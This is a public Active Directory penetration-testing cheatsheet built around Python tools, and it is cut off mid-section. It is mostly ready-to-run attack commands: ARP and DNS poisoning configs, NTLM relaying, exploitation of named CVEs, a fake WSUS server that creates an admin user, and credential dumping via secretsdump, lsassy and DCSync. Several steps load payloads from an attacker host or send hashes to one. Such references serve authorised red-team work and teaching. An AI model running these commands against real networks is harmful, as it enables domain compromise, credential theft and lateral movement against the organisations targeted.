Active Directory - Python edition

This cheatsheet is built from numerous papers, GitHub repos and GitBook, blogs, HTB boxes and labs, and other resources found on the web or through my experience. This was originally a private page that I made public, so it is possible that I have copy/paste some parts from other places and I forgot to credit or modify. If it the case, you can contact me on my Twitter **@BlWasp_**.

I will try to put as many links as possible at the end of the page to direct to more complete resources.

Misc

Internal audit mindmap

Insane mindmap by @M4yFly.

Find the domain and the DCs

Generally the domain name can be found in `/etc/resolv.conf`

Then the DNS is generally installed on the DC : `nslookup domain.local`

Usernames wordlist

Create a wordlist of usernames from list of `Surname Name`

Code here

```
python3 namemash.py users.txt > usernames.txt
```

Initial Access

What to do when you are plugged on the network without creds.

- NTLM authentication capture on the wire with Responder poisoning, maybe in NTLMv1 ?
- Relay the NTLM authentications to interesting endpoints, be careful to the signing
  - SMB socks to list/read/write the shares
  - LDAP to dump the directory
  - LDAPS (or maybe SMB if signing not required) to add a computer account
  - ...
- ARP poisoning with **bettercap**, can be used to poison ARP tables of targets and receive authenticated requests normally destinated to other devices. Interesting scenarios can be found here.
  - By sniffing everything on the wire with Wireshark, some secrets can be found with **PCredz**.

First, run bettercap with this config file:

```
# quick recon of the network
net.probe on

# set the ARP poisoning
set arp.spoof.targets <target_IP>
set arp.spoof.internal true
set arp.spoof.fullduplex true

# control logging and verbosity
events.ignore endpoint
events.ignore net.sniff.mdns

# start the modules
arp.spoof on
net.sniff on
```

```
sudo ./bettercap --iface <interface> --caplet spoof.cap
```

Then sniff with Wireshark. When it is finish, save the trace in a `.pcap` file and extract the secrets:

```
python3 ./Pcredz -f extract.pcap
```

- Poison the DHCPv6 answer to receive NTLM or Kerberos authentication
  - NTLM auths can be relayed with `ntlmrelayx`
  - Kerberos auths can be relayed with `krbrelayx` to HTTP endpoints (ADCS, SCCM

AdminService API)

- Search for a domain account
  - Look for SMB Guest and null session, and LDAP null bind

```
# Check SMB Guest logon and Null session
nxc smb <targets>


# SMB Null/Anonymous session on a DC
nxc smb <DC_IP> -u '' -p '' --users

# LDAP null bind
nxc ldap <DC_IP> -u '' -p '' --users
```

- Perform RID cycling through SMB null session

```
nxc smb <target> -u '' -p '' --rid-brute 10000
```

- Perform bruteforce attacks
  - With SMB login bruteforce
  - With Kerbrute bruteforce

Allows you to bruteforce Kerberos on user accounts while indicating whether the user account exists or not. Another advantage over `smb login` is that it doesn't correspond to the same EventId, thus bypassing potential alerts. The script can work with 2 independent lists for users and passwords, but be careful not to block accounts!

```
./kerbrute userenum -domain domain.local users.txt
```

Test for the Top1000 with `login = password`

Possible other passwords:

```
(empty)
password
P@ssw0rd
```

- Look for juicy CVEs
- Search for devices like printers, routers, or similar stuff with default creds

In case a printer (or something similar) has an LDAP account, but use the `SASL` authentication family instead of `SIMPLE`, the classic LDAP passback exploitation with a `nc` server will not be

sufficient to retrieve the credentials in clear text. Instead, use a custom LDAP server that only offer the weak `PLAIN` and `LOGIN` protocols. This Docker permits to operate with weak protocols.

```
docker buildx build -t ldap-passback .
docker run --rm -ti -p 389:389 ldap-passback
```

In parallel, listen with tshark:

```
tshark -i any -f "port 389" \
  -Y "ldap.protocolOp == 0 && ldap.simple" \
  -e ldap.name -e ldap.simple -Tjson
```

CVEs

AD oriented

- CVE-2025-33073 - NTLM Reflective relay

Permits to relay a SMB authentication from a machine to itself, with SYSTEM privileges thanks to Local NTLM authentication. SMB signing must not be enforced **to relay from SMB to SMB**.

If services such as WinRM/S, MSSQL, or HTTP/S are active on the machine (Windows Servers or ADCS PKI, for example), relaying is still possible, even with signing or EPA enabled! Only a complete patch truly blocks it. **The only exceptions are LDAPS and RPC**.

```
#Check if a computer is vulnerable
nxc smb <target> -u user1 -p password -M ntlm_reflection

#Setup DNS
dnstool.py -u 'domain.local\user1' -p password -a add -r
$TARGET_NETBIOS1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d <attacker_IP> <DC_IP>
# Or, to target any computer
dnstool.py -u 'domain.local\user1' -p password -a add -r
localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d <attacker_IP> <DC_IP>

#Coerce
PetitPotam.py -u user1 -p password -d domain.local
```

```
$TARGET_NETBIOS1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA TARGET.DOMAIN.LOCAL

#Chose the service to relay
ntlmrelayx.py -t <target_FQDN> -smb2support -socks
ntlmrelayx.py -t mssql://<target_FQDN> -smb2support -socks
ntlmrelayx.py -t winrms://<target_FQDN> -smb2support -socks
```

- SPNEGO RCE (CVE-2022-37958) - No public POC for the moment
- PetitPotam pre-auth (CVE-2022-26925)

If the target is not patched, this CVE can be exploited without creds.

```
./petitpotam.py -pipe all <attacker_IP> <target_IP>
```

- NoPac (a.k.a. SamAccountName Spoofing, CVE-2021-42278 and CVE-2021-42287)

To exploit these vulnerabilities you need to already control a computer account or have the right to create a new one.

```
#Get ST
python3 noPac.py domain.local/user1:'password' -dc-ip <DC_IP>

#Auto dump the hash
python3 noPac.py domain.local/user1:'password' -dc-ip <DC_IP> --impersonate administrator -
dump -just-dc-user domain/krbtgt
```

- PrintNightmare (CVE-2021-1675 / CVE-2021-34527)

```
#Load a DLL hosted on a SMB server on the attacker machine
./printnightmare.py -dll '\\<attacker_IP>\smb\add_user.dll' 'user1:password@<target_IP>'

#Load a DLL hosted on the target, and specify a custom driver name
./printnightmare.py -dll 'C:\Windows\System32\spool\drivers\x64\3\old\1\add_user.dll' -name
'Patapouf' 'user1:password@<target_IP>'
```

- Zerologon (CVE-2020-1472)

The relay technique is preferable to the other one which is more risky and potentially destructive. See in the link.

- EternalBlue / Blue Keep (MS17-010 / CVE-2019-0708)

The exploits in the Metasploit framework are good for these two CVEs.

```
#EternalBlue
msf6 exploit(windows/smb/ms17_010_psexec) >

#Blue Keep
msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) >
```

- SMBGhost (CVE-2020-0796)

Be careful, this exploit is pretty unstable and the risk of BSOD is really important. The exploit in the Metasploit framework is good for this CVE.

```
msf6 exploit(windows/smb/cve_2020_0796_smbghost) >
```

- RC4-MD4 downgrade (CVE-2022-33679)

To exploit this CVE the **RC4-MD4** encryption must be enabled on the KDC, and an AS-REP Roastable account is needed to obtain an ST for the target.

```
./CVE-2022-33079.py -dc-ip <DC_IP> domain.local/<as-rep_roastable_user> <target_NETBIOS>
```

- Credentials Roaming (CVE-2022-30170)

```
# Fetch current user object
$user = get-aduser <victim username> -properties
@('msPKIDPAPIMasterKeys','msPKIAccountCredentials', 'msPKI-
CredentialRoamingTokens','msPKIRoamingTimestamp')

# Install malicious Roaming Token (spawns calc.exe)
$malicious_hex =
"25335c2e2e5c2e2e5c57696e646f77735c5374617274204d656e755c50726f6772616d735c537461727475705c6d61
$attribute_string = "B:$($malicious_hex.Length):${malicious_hex}:$($user.DistinguishedName)"
Set-ADUser -Identity $user -Add @{msPKIAccountCredentials=$attribute_string} -Verbose

# Set new msPKIRoamingTimestamp so the victim machine knows an update was pushed
$new_msPKIRoamingTimestamp = ($user.msPKIRoamingTimestamp[8..15] +
[System.BitConverter]::GetBytes([datetime]::UtcNow.ToFileTime())) -as [byte[]]
Set-ADUser -Identity $user -Replace @{msPKIRoamingTimestamp=$new_msPKIRoamingTimestamp} -
Verbose
```

- Bronze Bit (CVE-2020-17049)

To exploit this CVE, a controlled service account with constrained delegation to the target account is needed.

```
getST.py -force-forwardable -spn <cifs/target.domain.local> -impersonate Administrator -dc-ip
<DC_IP> -hashes :<service_account_hash> domain.local/<service_account>
```

- MS14-068

```
goldenPac.py 'domain.local'/'user1':'password'@<DC_IP>
```

Targeting Exchange server

- ProxyNotShell / ProxyShell / ProxyLogon (CVE-2022-41040 & CVE-2022-41082 / CVE-2021-34473 & CVE-2021-34523 & CVE-2021-31207 / CVE-2021-26855 & CVE-2021-27065)

The exploits in the Metasploit framework are good for these three CVEs.

```
msf6 exploit(windows/http/exchange_proxynotshell_rce) >
msf6 exploit(windows/http/exchange_proxyshell_rce) >
msf6 exploit(windows/http/exchange_proxylogon_rce) >
```

- CVE-2023-23397

This CVE permits to leak the NTLM hash of the target as soon as the email arrives in his Outlook mail box. This PoC generates a `.msg` file containing the exploit in the pop-up sound attribute. It is up to you to send the email to the target.

```
python3 CVE-2023-23397.py --path '\\<attacker_IP>\'
```

Before sending the email, run Responder to intercept the NTLM hash.

For local privesc

Look at the Active Directory cheatsheet for this part.

Domain Enumeration

Domain policy

Current domain

```
#Domain policy with ldeep
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> domain_policy

#Password policy with NXC
nxc smb <targets> -u user1 -p password --pass-pol
```

Another domain

```
ldeep ldap -u user1 -p password -d domain.local -s <remote_LDAP_server_IP> domain_policy
```

Domain controller

The DNS is generally on the DC.

```
nslookup domain.local
nxc smb <DC_IP> -u user1 -p password
```

Users enumeration

List users

```
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> users
```

User's properties

```
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> users -v
nxc ldap <DC_IP> -u user1 -p password -M get-desc-users -M get-info-users -M get-
unixUserPassword -M getUserPassword
```

Search for a particular string in attributes

```
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> users -v | grep -i password
```

Actively logged users on a machine

Needs local admin rights on the target

```
nxc smb <target> -u user1 -p password --sessions
```

User hunting

Find machine where the user has admin privs

If a **Pwned** connection appears, admin rights are present. However, if the UAC is present it can block the detection.

```

```

```
nxc smb <targets_file> -u user1 -p password
```

Find local admins on a domain machine

lookupadmins.py

```
python3 lookupadmins.py domain.local/user1:password@<target_IP>

#NXC
nxc smb <targets> -u user1 -p password --local-groups Administrators
```

Computers enumeration

```
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> machines

#Full info
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> machines -v

#Hostname enumeration
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> computers
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> computers --resolve
```

Groups enumeration

Groups in the current domain

```
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> groups

#Full info
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> groups -v
```

Search for a particular string in attributes

```
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> groups -v | grep -i admin
```

All users in a specific group

```

```

```
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> membersof <group> -v
```

All groups of an user

```
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> memberships <user_account>
```

Local groups enumeration

```
nxc smb <target> -u user1 -p password --local-groups
```

Members of a local group

```
nxc smb <target> -u user1 -p password --local-groups <group>
```

Shares / Files

Find shares on the domain

```
nxc smb <targets> -u user1 -p password --shares
```

A module for searching network shares: `spider_plus`. Running the module without any options (on a /24, for example) will produce a JSON output for each server, containing a list of all files (and some info), but without their contents. Then grep on extensions (conf, ini...) or names (password ..) to identify an interesting file to search:

```
nxc smb <targets> -u user1 -p password -M spider_plus
```

Then, when identifying a lot of interesting files, to speed up the search, dump this on the attacker machine by adding the `-o READ_ONLY=False` option after the `-M spider_plus` (but avoid /24, otherwise it'll take a long time). In this case, NetExec will create a folder with the machine's IP, and all the folders/files in it.

```
nxc smb <targets> -u user1 -p password -M spider_plus -o READ_ONLY=False
```

Manspider can also be used for this purpose. It permits to crawl all the shares or specific ones, and filter on file extensions, file names, and file contents.

```
# Filter on file names
```

```
manspider <targets> -f passw user admin account network login logon cred -d domain -u user1 -p password

# Search for content
manspider <targets> -c passw cpassword -d domain -u user1 -p password

# Search for file extension
manspider <targets> -e bat com vbs ps1 psd1 psm1 pem key rsa pub reg pfx cfg conf config vmdk vhd vdi dit -d domain -u user1 -p password
```

Parameters can be combined.

Find files with a specific pattern

```
nxc smb <targets> -u user1 -p password --spider <share_name> --content --pattern pass
```

Find files with sensitive data

Python version of Snaffler

```
pysnaffler 'smb2+ntlm-password://domain\user1:password@<target>' <target>
```

GPO enumeration

List of GPO in the domain

```
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> gpo
```

Parse all GPO

```
nxc smb <DC_IP> -u user1 -p password -M gpp_privileges

# With gpoParser
gpoParser remote -u user1 -p password -d domain.local -s <DC_IP>
gpoParser query
    # To enrich BloodHound
gpoParser enrich -u $NEO4J_USER -p $NEO4J_PASS -s $NEO4J_SERVER
```

```
# With GPOHound
    # Download SYSVOL
smbclient -U "user1"%"password" //<DC_IP>/SYSVOL -c "recurse; prompt; mget *;"
    # Dump GPO from SYSVOL
gpohound dump --neo4j-user $NEO4J_USER --neo4j-pass $NEO4J_PASS -S ./SYSVOL --gpo-name
    # Import in BloodHound
gpohound analysis --neo4j-user $NEO4J_USER --neo4j-pass $NEO4J_PASS -S ./SYSVOL --enrich
```

Organisation Units

OUs of the domain and their linked GPOs

```
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> ou
```

Computers within an OU

```
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> machines -v | grep -i
"OU=<OU_name>" | grep -i "distinguishedName"
```

DACLs

All ACLs associated to an object (inbound)

```
#With samAccountName
dacledit.py -action read -target <target_samAccountName> -dc-ip <DC_IP>
domain.local/user1:password

#With DN
dacledit.py -action read -target-dn <target_DN> -dc-ip <DC_IP> domain.local/user1:password

#With SID
dacledit.py -action read -target-sid <target_SID> -dc-ip <DC_IP> domain.local/user1:password
```

Outbound ACLs of an object

These are the rights a principal has against another object

```
dacledit.py -action read -target <target_samAccountName> -principal
<principal_samAccountName> <-dc-ip <DC_IP> domain.local/user1:password
```

Trusts

Trusts for the current domain

```
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> trusts
```

All In One

```
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> all <prefix>
```

BloodHound

The Bloodhound-python module doesn't support all the SharpHound features (essentially about GPOs)

DNS resolution

Sometimes the DNS resolution to find the DC doesn't work very well. **dnschef** can solve this problem:

```
dnschef --fakeip <DC_IP> --fakedomains domain.local -q
```

Then, in the BloodHound command specify the DNS address with `-ns 127.0.0.1`, **dnschef** will do the work.

Basic usage

```
# Default collection
bloodhound-python -u user1 -p password -d domain.local -dc DC.domain.local --zip

# All collection excepted LoggedOn
```

```
bloodhound-python -u user1 -p password -d domain.local -c all -dc DC.domain.local --zip
#With LoggedOn
bloodhound-python -u user1 -p password -d domain.local -c all,LoggedOn -dc DC.domain.local --
zip

#Only collect from the DC, doesn't query the computers (more stealthy)
bloodhound-python -u user1 -p password -d domain.local -c DCOnly -dc DC.domain.local --zip
```

Specify another Global Catalog

```
bloodhound-python -u user1 -p password -d domain.local -dc DC.domain.local -gc <hostname> --
zip
```

Interesting Neo4j queries

Users with SPNs

```
MATCH (u:User {hasspn:true}) RETURN u
```

AS-REP Roastable users

```
MATCH (u:User {dontrepreauth:true}) RETURN u
```

Computers AllowedToDelegate to other computers

```
MATCH (c:Computer), (t:Computer), p=((c)-[:AllowedToDelegate]->(t)) return p
```

Shortest path from Kerberoastable user

```
MATCH (u:User {hasspn:true}), (c:Computer), p=shortestPath((u)-[*1..]->(c)) RETURN p
```

Computers in Unconstrained Delegations

```
MATCH (c:Computer {unconsraineddelegation:true}) RETURN c
```

Rights against GPOs

```
MATCH (gr:Group), (gp:GPO), p=((gr)-[:GenericWrite]->(gp)) return p
```

Potential SQL Admins

```
MATCH p=(u:User)-[:SQLAdmin]->(c:Computer) return p
```

LAPS

Machine with LAPS enabled

```
MATCH (c:Computer {haslaps:true}) RETURN c
```

Users with read LAPS rights against "LAPS machines"

```
MATCH p=(g:Group)-[:ReaLAPSPassword]->(c:Computer) return p
```

SOAPHound

A tool to gather LDAP information through the ADWS service with SOAP queries instead of the LDAP one. Data can be displayed in BloodHound. This tool is presented in the Active Directory cheatsheet.

AD Miner

AD Miner is another solution to display BloodHound data into a web based GUI. It is usefull for its **Smartest paths** feature that permits to display the, sometimes longer, but simpler compromission path (for example, when the shortest path implies a `ExecuteDCOM` edge).

MSSQL

With MSSQLHound. Presented in the Active Directory cheatsheet.

Lateral Movement

WinRM

```
evil-winrm -u user1 -p password -i <target_IP>
```

evil-winrm permits to open an interactive WinRM session where it is possible to `upload` and `download` items between the target and the attacker machine, load PowerShell scripts, etc.

SMB

From one computer to another one

```
psexec.py domain.local/user1:password@<target>
```

From one computer to many ones

```
nxc smb <targets> -u user1 -p password -X <command>
```

Execute immediat scheduled task

```
#As the session 0 (SYSTEM)
atexec.py domain.local/user1:password@<target> <command>

#As the user of another session on the machine
atexec.py -session-id <ID> domain.local/user1:password@<target> <command>

nxc smb <target> -u user1 -p password -M schtask_as -o USER=user2 CMD=<CMD>
nxc smb <target> -u user1 -p password -M schtask_as -o USER=user2 CMD=certreq CA=<CA_Name>
TEMPLATE=User
```

WMI

```

```

```
wmiexec.py domain.local/user1:password@<target>
```

ShellBrowserWindow DCOM object

```
dcomexec.py domain.local/user1:password@<target>
```

Credentials gathering

Check RunAsPPL

Check if RunAsPPL is enabled in the registry.

```
nxc smb <target> -u user1 -p password -M runasppl
```

Dump creds remotely

```
#Dump SAM database on a machine
nxc smb <target> -u user1 -p password --sam

#Dump LSA secrets on a machine
nxc smb <target> -u user1 -p password --lsa
    #In a PDF with LSA_reg2pdf, exec get_pdf, and get_bootkey on your host to parse the PDF
.\get_pdf.exe 1
python3 get_bootkey.py

#Dump through remote registry
reg.py -o \\<attacker_IP>\share domain.local/user1:password@<target> backup
reg.py domain.local/user1:password@<target> query -keyName 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon'

#Dump with an alternative method, regsecrets.py, more discreet
regsecrets.py domain.local/user1:password@target.domain.local

#Dump the lsass process and parse it
nxc smb <target> -u user1 -p password -M lsassy
nxc smb <target> -u user1 -p password -M nanodump
nxc smb <target> -u user1 -p password -M mimikatz
```

```
nxc smb <target> -u user1 -p password -M procdump

lsassy -u user1 -p password -d domain.local <target>

minidump domain.local/user1:password@dc.domain.local:/C$/Windows/Temp/lsass.dmp


# Impacket
  # Via DRSUAP
secretsdump.py domain.local/user1:password@<DC>
  # Via NTDSUTIL
secretsdump.py domain.local/user1:password@<DC> -use-vss -just-dc
  # Via WMI Shadow Snapshot
secretsdump.py domain.local/user1:password@<DC> -use-remoteSSWMI -use-remoteSSWMI-NTDS -just-
dc
# NetExec
  # Raw dump depuis le disque dur.  Aussi disponible via winrm et wmi
nxc smb <target> -u user1 -p password -M ntds-dump-raw
  # Via NTDSUTIL
nxc smb <target> -u user1 -p password -M ntdsutil
  # Via DRSUAPI ou VSS
nxc smb <target> -u user1 -p password --ntds [{drsuapi,vss}]

#DCSync only the NT && LM hashes of a user
secretsdump.py -just-dc-user 'krbtgt' -just-dc-ntlm domain.local/user1:password@<DC>

#Retrieve NT hashes via Key List Attack on a RODC
    #Attempt to dump all the users' hashes even the ones in the Denied list
    #Low privileged credentials are needed in the command for the SAMR enumeration
keylistattack.py -rodcNo <krbtgt_number> -rodcKey <krbtgt_aes_key> -full
domain.local/user1:password@RODC-server
    #Attempt to dump a specific user's hash
keylistattack.py -rodcNo <krbtgt_number> -rodcKey <krbtgt_aes_key> -t user1 -kdc RODC-
server.domain.local LIST

#Certsync - retrieve the NT hashes of all the users with PKINIT
#Backup the private key and the certificate of the Root CA, and forge Golden Certificates for
all the users
#Authenticate with all the certificate via PKINIT to obtain the TGTs and extract the hashes
with UnPAC-The-Hash
```

```
certsync -u administrator -p 'password' -d domain.local -dc-ip <DC_IP>

    #Provide the CA .pfx if it has been obtained with another way
certsync -u administrator -p 'password' -d domain.local -dc-ip <DC_IP> -ca-pfx CA.pfx
```

Many techniques to dump LSASS : https://redteamrecipe.com/50-Methods-For-Dump-LSASS/

Extract creds locally

The **SYSTEM** hive is needed to retrieve the bootkey and decipher the DB files.

```
#Extract creds from SAM and SECURITY (LSA cached secrets)
secretsdump.py -system ./system.save -sam ./sam.save -security ./security.save LOCAL

#Extract creds from NTDS.dit
secretsdump.py -system ./system.save -ntds ./NTDS.save LOCAL
```

Read an LSASS dump with pypykatz:

```
pypykatz lsa --json minidump $i | jq 'first(.[]).logon_sessions | keys[] as $k | (.[$k] |
.credman_creds)' | grep -v "\[\]" | grep -v "^\[" | grep -v "^\]"
```

Credentials Vault & DPAPI

Decipher Vault with Master Key

```
dpapi.py vault -vcrd <vault_file> -vpol <vault_policy_file> -key <master_key>
```

Dump all secrets on a remote machine

```
DonPAPI.py domain.local/user1:password@<target>
```

Extract the domain backup key with a Domain Admin

```
dpapi.py backupkeys --export -t domain.local/user1:password@<DC_IP>
```

Dump all user secrets with the backup key

```
DonPAPI.py -pvk domain_backupkey.pvk domain.local/user1:password@<targets>
```

GPPPassword & GPP Autologin

Find and decrypt Group Policy Preferences passwords.

```
Get-GPPPassword.py domain.local/user1:password@<target>
    #Specific share
Get-GPPPassword.py -share <share> domain.local/user1:password@<target>

#GPP autologin
nxc smb <target> -u user1 -p password -M gpp_autologin -M gpp_password
```

Credentials in third-party softwares

Many applications present on a computer can store credentials, like KeePass, KeePassXC, mstsc and so on.

```
python3 client/ThievingFox.py poison --all domain.local/user1:password@<target>
python3 client/ThievingFox.py collect --all domain.local/user1:password@<target>
python3 client/ThievingFox.py cleanup --all domain.local/user1:password@<target>

nxc smb <target> -u user1 -p password -M aws-credentials -M entra-sync-creds -M wam -M
eventlog_creds -M iis -M keepass_trigger -M mobaxterm -M mremoteng -M msol -M notepad -M
notepad++ -M powershell_history -M putty -M rdcman -M recent_files -M recyclebin -M veeam -M
vnc -M wifi -M winscp
```

Force a NTLM authentication from a connected user

This attack weaponize DCOM objects to perform actions on behalf of an interactively connected user. Can be mixed with the NTLM downgrade or WebClient attacks to obtain NTLMv1 or HTTP authentication. Explains here.

```
#With NTLM downgrade
RemoteMonologue.py domain/user1:password@target -auth-to <attacker_IP> -downgrade

#With WebClient and an alternative DCOM object
RemoteMonologue.py domain/user1:password@target -auth-to <attacker_netbios@80> -webclient -
dcom FileSystemImage
```

Pass the Challenge

This technique permits to retrieve the NT hashes from a LSASS dump when Credential Guard is in place. This modified version of Pypykatz must be used to parse the LDAP dump. Full explains here.

This attack is presented in the Active Directory cheatsheet.

Token manipulation

Token impersonation with command execution and user addition

Blog here.

- List available tokens, and find an interesting token ID

```
nxc smb -u user1 -p password -M impersonate -o MODULE=list
```

- With **SeImpersonatePrivilege**, if a privileged user's token is present on the machine, it is possible to run code on the domain as him and add a new user in the domain (and add him to the Domain Admins by default):

```
 nxc smb -u user1 -p password -M impersonate -o MODULE=adduser TOKEN=<token_id> CMD="user2 password 'Domain Admins' \\dc.domain.local"
```

- With **SeImpersonatePrivilege and SeAssignPrimaryToken**, if a privileged user's token is present on the machine, it is possible to execute comands on the machine as him:

```
nxc smb -u user1 -p password -M impersonate -o MODULE=exec TOKEN=<token_id> CMD=<command>
```

Look at the Active Directory cheatsheet for other solutions.

Tokens and ADCS

With administrative access to a (or multiple) computer, it is possible to retrieve the different process tokens, impersonate them and request CSRs and PEM certificate for the impersonated users.

```
masky -d domain.local -u user1 -p <password> -dc-ip <DC_IP> -ca <CA_server_FQDN\CA_name> -o <result_folder> <targets>
```

Pass The Hash

Globally, all the **Impacket** tools and the ones that use the library can authenticate via Pass The Hash with the `-hashes` command line parameter instead of specifying the password. For **Ideep**, **NetExec** and **evil-winrm**, it's `-H`.

Over Pass The Hash / Pass The Key

Globally, all the **Impacket** tools and the ones that use the library can authenticate via Pass The Key with the `-aesKey` command line parameter instead of specifying the password. For **NetExec** it's `--aesKey`.

Kerberos authentication

Request a TGT or a ST

```
getTGT.py -dc-ip <DC_IP> domain.local/user1:password

getST.py -spn "cifs/target.domain.local" -dc-ip <DC_IP> domain.local/user1:password
```

Use the tickets

Load a kerberos ticket in `.ccache` format : `export KRB5CCNAME=./ticket.ccache`

Globally, all the **Impacket** tools and the ones that use the library can authenticate via Kerberos with the `-k -no-pass` command line parameter instead of specifying the password. For **Ideep** it's `-k`.

For **NetExec** it is `-k` with credentials to perform the whole Kerberos process and authenticate with the ticket. If a `.ccache` ticket is already in memory, it is `-k --use-kcache`.

For **evil-winrm** it's `-r <domain> --spn <SPN prefix>` (default 'HTTP'). The realm must be specified in the file `/etc/krb5.conf` using this format -> `CONTOSO.COM = { kdc = fooserver.contoso.com }`

If the Kerberos ticket is in `.kirbi` format it can be converted like this:

```
```

```
ticketConverter.py ticket.kirbi ticket.ccache
```

ADIDNS poisoning

How to deal with the **Active Directory Integrated DNS** and redirect the NTLM authentications to us

- By default, any user can create new ADIDNS records
- But it is not possible to change or delete a record we are not owning
- By default, the DNS will be used first for name resolution in the AD, and then NBT-NS, LLMNR, etc

If the **wilcard record** (*) doesn't exist, we can create it and all the authentications will arrive on our listener, except if the WPAD configuration specifically blocks it.

Wildcard attack

The char `*` can't be added via DNS protocol because it will break the request. Since we are in an AD we can modify the DNS via LDAP:

```
# Check if the '*' record exist
python3 dnstool.py -u "domain.local\user1" -p "password" -a query -r "*" <DNS_IP>

# creates a wildcard record
python3 dnstool.py -u "domain.local\user1" -p "password" -a add -r "*" -d <attacker_IP>
<DNS_IP>

# disable a node
python3 dnstool.py -u "domain.local\user1" -p "password" -a remove -r "*" <DNS_IP>

# remove a node
python3 dnstool.py -u "domain.local\user1" -p "password" -a ldapdelete -r "*" <DNS_IP>
```

Feature abuse

SCCM / MECM - PXE boot

Check the dedicated page.

WSUS

Spoof the WSUS server and hijack the update if the updates are pushed through HTTP and not HTTPS

```
#Find the WSUS server with the REG key
reg.py -dc-ip <DC_IP> 'domain.local'/'user1':'password'@server.domain.local query -keyName
'HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v wuserver'

#Setup the fake WSUS server
python3.exe pywsus.py --host <network_interface> --port 8530 --executable ./PsExec64.exe --
command '/accepteula /s cmd.exe /c "net user usser1 Password123! /add && net localgroup
Administrators user1 /add"'
```

And ARP spoofing with bettercap and a `wsus_spoofing.cap` like this:

```
# quick recon of the network
net.probe on

# set the ARP spoofing
set arp.spoof.targets $client_ip
set arp.spoof.internal false
set arp.spoof.fullduplex false

# reroute traffic aimed at the WSUS server
set any.proxy.iface $interface
set any.proxy.protocol TCP
set any.proxy.src_address $WSUS_server_ip
set any.proxy.src_port 8530
set any.proxy.dst_address $attacker_ip
set any.proxy.dst_port 8530

# control logging and verbosity
events.ignore endpoint
events.ignore net.sniff

# start the modules
any.proxy on
arp.spoof on
```

```
net.sniff on
```

```
bettercap --iface <network_interface> --caplet wsus_spoofing.cap
```

Now wait for update verification or manually trigger with a GUI access on the machine.

Pre-Windows 2000 Computers

Everything is explained here.

```
nxc ldap <DC_IP> -u user1 -p password -M pre2k
```

Domain Privesc

Kerberoast

The Kerberos service ticket (ST) has a server portion which is encrypted with the password hash of service account. This makes it possible to request a ticket and do offline password attack. Password hashes of service accounts could be used to create Silver Tickets.

Find user with SPN

```
GetUserSPNs.py -dc-ip <DC_IP> domain.local/user1:password

#In another domain through trust
GetUserSPNs.py -dc-ip <DC_IP> -target-domain <target_domain> domain.local/user1:password
```

Request in JtR/Hashcat format

```
GetUserSPNs.py -dc-ip <DC_IP> -request -outputfile hash.txt domain.local/user1:password
```

Force RC4 downgrade even on AES enabled targets to obtain tickets more easy to crack:

```
pypykatz kerberos spnroast -d domain.local -t <target_user> -e 23
'kerberos+password://domain.local\user1:password@<DC_IP>'
```

Crack the hash

```
john hash.txt --wordlist=./rockyou.txt

hashcat -m 13100 -a 0 hash.txt rockyou.txt
```

Kerberoast with DES

This attack is presented in the Active Directory cheatsheet.

Kerberoast w/o creds

Without pre-authentication

If a principal can authent without pre-authentication (like AS-REP Roasting), it is possible to use it to launch an **AS-REQ request** (for a TGT) and trick the request to ask for a ST instead for a kerberoastable principal, by modifying the **sname** attribut in the **req-body** part of the request.

Full explains here.

This PR must be used for the moment.

```
GetUserSPNs.py -no-preauth <user_w/o_preauth> -usersfile "users.txt" -dc-host <DC_IP>
"domain.local"/
```

With MitM

If no principal without pre-authentication are present, it is still possible to intercept the **AS-REQ requests** on the wire (with ARP spoofing for example), and replay them to kerberoast.

```
ritm -i <attacker_IP> -t <target_IP> -g <gateway_to_spoof> -u users.txt
```

AS-REP Roasting

- If a user's **UserAccountControl** settings have "Do not require Kerberos preauthentication" enabled (`UF_DONT_REQUIRE_PREAUTH`) -> Kerberos preauth is disabled -> it is possible to grab user's crackable AS-REP and brute-force it offline.
- With sufficient rights (**GenericWrite** or **GenericAll**), Kerberos preauth can be disabled.

Enumerate users

```
GetNPUsers.py -dc-ip <DC_IP> domain.local/user1:password
```

Request AS-REP

```
GetNPUsers.py -dc-ip <DC_IP> -request -format john domain.local/user1:password
```

It is possible to force DES, if it is allowed. Look at the Active Directory cheatsheet.

Crack the hash

With **john** or **hashcat** it could be performed

Hijacking GPP Name-Only

sAMAccountName hijacking

The theory behind this attack is explained in this article.

1. Initial configuration:
   1. A user `priv_usr` has `GenericWrite` rights over another user `low_priv`.
   2. A GPP is configured to add a "Name-Only" member named `nonexistentuser` to the local `Administrators` group.
2. First GPO application:
   1. The system try to resolve `nonexistentuser`, but fails (the user doesn't exist).
   2. No member is added to `Administrators`.
3. `sAMAccountName` modification:
   1. The attacker uses their `GenericWrite` rights to change the `sAMAccountName` from `low_priv` to `nonexistentuser`.

```
bloodyAD --host <DC_IP> -u "priv_usr" -p password set object
"CN=low_priv,CN=Users,DC=domain,DC=local" sAMAccountName -v "nonexistentuser"
```

4. GPO replication:
   1. The next time the GPO is applied (or via a manual command such as `gpupdate /force`), the system resolves `nonexistentuser` to the SID of `low_priv`.
   2. Result: `low_priv` is added to the `Administrators` group.

UPN hijacking

1. Initial configuration:
